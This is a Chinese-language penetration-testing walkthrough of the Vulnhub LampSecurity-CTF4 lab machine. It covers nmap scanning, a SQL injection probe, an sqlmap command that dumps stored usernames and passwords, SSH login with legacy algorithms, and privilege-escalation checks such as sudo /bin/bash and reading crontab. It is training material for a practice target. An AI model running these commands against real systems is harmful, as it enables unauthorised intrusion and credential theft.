Vulnhub靶机实操笔记-LampSecurity-CTF4
字数 855 2025-08-10 20:35:59

LampSecurity-CTF4 靶机渗透测试实战教程

一、靶机环境探测

1. 主机存活判断

使用Nmap进行网络扫描,确定目标主机IP地址:

sudo nmap -sn 192.168.32.0/24

2. 快速端口扫描

以不低于10000的速度进行全端口扫描:

sudo nmap --min-rate 10000 -p- 192.168.32.141

参数说明:

  • --min-rate 10000:以不低于10000的速度扫描
  • -p-:扫描所有端口

3. TCP服务扫描

对发现的开放端口进行详细扫描:

sudo nmap -sT -sV -O -p22,80,25,631 172.16.200.130

参数说明:

  • -sT:TCP协议扫描
  • -sV:服务版本探测
  • -O:操作系统识别
  • -p:指定扫描端口

4. UDP服务扫描

sudo nmap -sU -p22,25,80,631 192.168.32.141

参数说明:

  • -sU:UDP协议扫描

5. 漏洞扫描

使用Nmap脚本引擎进行漏洞扫描:

sudo nmap --script=vuln -p22,25,80,631 192.168.32.141

扫描结果显示存在SQL注入漏洞。

二、SQL注入攻击

1. 漏洞验证

访问脚本提示的URL:

http://192.168.32.141:80/?title=Blog&id=2' OR sqlspider&page=blog

通过输入单引号'确认存在SQL注入漏洞。

2. 使用sqlmap进行自动化注入

sudo sqlmap -u 'http://192.168.32.141/?title=Blog&id=2&page=blog' -p id --dbms mysql --batch -D ehks -T user -C user_name,user_pass --dump

参数说明:

  • -u:目标URL
  • -p:指定注入参数
  • --dbms:指定数据库类型
  • -D:指定数据库名
  • -T:指定表名
  • -C:指定列名
  • --dump:导出数据

成功获取6组用户名和密码。

三、SSH登录

1. 初始登录尝试

使用获取的凭据尝试SSH登录:

ssh dstevens@192.168.32.141

2. 解决密钥交换问题

遇到密钥交换协议不匹配错误,添加KexAlgorithms参数:

sudo ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.32.141

3. 解决主机密钥算法问题

添加HostKeyAlgorithms参数:

sudo ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 dstevens@192.168.32.141

成功登录系统。

四、权限提升

1. 系统信息收集

uname -a

显示系统详细信息。

2. 检查当前用户权限

sudo -l

查看当前用户可执行的sudo命令。

3. 尝试启动新shell

sudo /bin/bash

尝试获取root shell。

4. 检查定时任务

cat /etc/crontab
cat /etc/cron.d/*

检查系统定时任务,寻找可能的提权途径。

五、总结

本教程详细记录了从网络扫描到最终获取系统权限的完整过程,关键点包括:

  1. 使用Nmap进行全面的端口和服务扫描
  2. 利用SQL注入漏洞获取数据库凭据
  3. 解决SSH连接时的协议兼容性问题
  4. 系统内部权限提升尝试

靶机下载链接可在原文章中获取,建议在合法授权环境下进行练习。

LampSecurity-CTF4 靶机渗透测试实战教程 一、靶机环境探测 1. 主机存活判断 使用Nmap进行网络扫描,确定目标主机IP地址: 2. 快速端口扫描 以不低于10000的速度进行全端口扫描: 参数说明: --min-rate 10000 :以不低于10000的速度扫描 -p- :扫描所有端口 3. TCP服务扫描 对发现的开放端口进行详细扫描: 参数说明: -sT :TCP协议扫描 -sV :服务版本探测 -O :操作系统识别 -p :指定扫描端口 4. UDP服务扫描 参数说明: -sU :UDP协议扫描 5. 漏洞扫描 使用Nmap脚本引擎进行漏洞扫描: 扫描结果显示存在SQL注入漏洞。 二、SQL注入攻击 1. 漏洞验证 访问脚本提示的URL: 通过输入单引号 ' 确认存在SQL注入漏洞。 2. 使用sqlmap进行自动化注入 参数说明: -u :目标URL -p :指定注入参数 --dbms :指定数据库类型 -D :指定数据库名 -T :指定表名 -C :指定列名 --dump :导出数据 成功获取6组用户名和密码。 三、SSH登录 1. 初始登录尝试 使用获取的凭据尝试SSH登录: 2. 解决密钥交换问题 遇到密钥交换协议不匹配错误,添加KexAlgorithms参数: 3. 解决主机密钥算法问题 添加HostKeyAlgorithms参数: 成功登录系统。 四、权限提升 1. 系统信息收集 显示系统详细信息。 2. 检查当前用户权限 查看当前用户可执行的sudo命令。 3. 尝试启动新shell 尝试获取root shell。 4. 检查定时任务 检查系统定时任务,寻找可能的提权途径。 五、总结 本教程详细记录了从网络扫描到最终获取系统权限的完整过程,关键点包括: 使用Nmap进行全面的端口和服务扫描 利用SQL注入漏洞获取数据库凭据 解决SSH连接时的协议兼容性问题 系统内部权限提升尝试 靶机下载链接可在原文章中获取,建议在合法授权环境下进行练习。